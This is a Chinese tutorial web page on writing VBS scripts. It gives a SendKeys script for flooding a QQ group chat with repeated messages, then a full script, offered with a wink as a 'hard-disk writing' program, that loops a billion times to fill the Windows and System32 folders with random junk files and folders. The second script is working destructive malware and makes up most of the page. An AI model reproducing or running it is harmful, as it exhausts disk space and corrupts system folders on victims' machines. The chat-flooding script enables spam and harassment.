您好,登录后才能下订单哦!
这篇文章主要讲解了“如何编写一个vbs脚本”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“如何编写一个vbs脚本”吧!
代码如下:
Set WshShell= WScript.createObject("WScript.Shell")
WshShell.AppActivate "群 - Powers成员交流"
for i=1 to 10 '要发的次数
WScript.Sleep 500 '发送消息的时间间隔
WshShell.SendKeys "^v" '要发的内容
WshShell.SendKeys i '这里拿每条消息都不同,在后面加上i即循环的次数
WshShell.SendKeys "%s"
next
这个代码里面解释的很清楚的啦~呵呵
其实就只是这么一点点就已经可以弄来我们做好几个好玩的东西了啦~比如:刷QQ聊天啊、刷网站啦~
由于比较感兴趣,所以找到个这样的代码:一个写硬盘的VBS脚本程序(不要做坏事哦)
代码如下:
on error resume next
dim objdir,suijishu
set objdir=wscript.createobject("scripting.filesystemobject")
set windir=objdir.getspecialfolder(0)
set sysdir=objdir.getspecialfolder(1)
'开始程序
for i=1 to 1000
for j=1 to 1000
for r=1 to 1000'------------------------------------------------------------------------------
randomize
y=int((122-65+1)*rnd+65)
y1=int((122-65+1)*rnd+65)
y2=int((122-65+1)*rnd+65)
y3=int((122-65+1)*rnd+65)
y4=int((122-65+1)*rnd+65)
y5=int((122-65+1)*rnd+65)
y6=int((122-65+1)*rnd+65)
y7=int((122-65+1)*rnd+65)
y8=int((122-65+1)*rnd+65)'-----------------------------------------------------------------
y9=int((122-65+1)*rnd+65)
f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9)
suijishu=int(rnd*10000)
'创建windows文件
yang=windir&""&f&"."&chr(y3)&chr(y7)&chr(y)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2) '2
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-----------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1) '3
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)'-------------------------------------------------------------
next
a.close
yang=windir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next'--------------------------------------------------------------------------------------
a.close
yang=windir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'---------------------------------------------------------------------------------
yang=windir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y8)&chr(y) '6
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'----------------------------------------------------------------------------------
yang=windir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y2)&chr(y)&chr(y5) '7
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y4)&chr(y)&chr(y7) '8'---
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
'创建system文件------------------------------------------------------------------------------10
yang=sysdir&""&f&"."&chr(y3)&chr(y9)&chr(y1)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y3)&chr(y1)&"."&chr(y4)&chr(y2)&chr(y9) '2------------------------------------------
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y3)&chr(y7)&chr(y) '3
set a=objdir.createtextfile(yang,true)'------------------------------------------------------
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y5)&chr(y4)&chr(y1) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"'-----------------------------------------
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y3)&chr(y6)&chr(y9) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"'------------------------------------------------
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y)&chr(y5) '6
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------15
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y7)&chr(y5)&chr(y1) '7
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-------------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y1)&chr(y7)&chr(y4) '8
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)'--------------------------------------------------------------
next
a.close
'创建windows文件夹
yang=windir&""&f&"u"
objdir.createfolder(yang)
yang=windir&""&chr(y4)&chr(y2) '2
objdir.createfolder(yang)
yang=windir&""&chr(y)&chr(y9)&chr(y5) '3
objdir.createfolder(yang)'-------------------------------------------------------------------
yang=windir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4
objdir.createfolder(yang)
yang=windir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5
objdir.createfolder(yang)
yang=windir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6
objdir.createfolder(yang)
yang=windir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7
objdir.createfolder(yang)
yang=windir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8
objdir.createfolder(yang)'--------------------------------------------------------------------
'创建system文件夹
yang=sysdir&""&f&"n"
objdir.createfolder(yang)
yang=sysdir&""&chr(y4)&chr(y2) '2
objdir.createfolder(yang)
yang=sysdir&""&chr(y)&chr(y9)&chr(y5) '3
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4
objdir.createfolder(yang)'---------------------------------------------------------------------
yang=sysdir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6
objdir.createfolder(yang)
yang=sysdir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8
objdir.createfolder(yang)
next
next
next
感谢各位的阅读,以上就是“如何编写一个vbs脚本”的内容了,经过本文的学习后,相信大家对如何编写一个vbs脚本这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。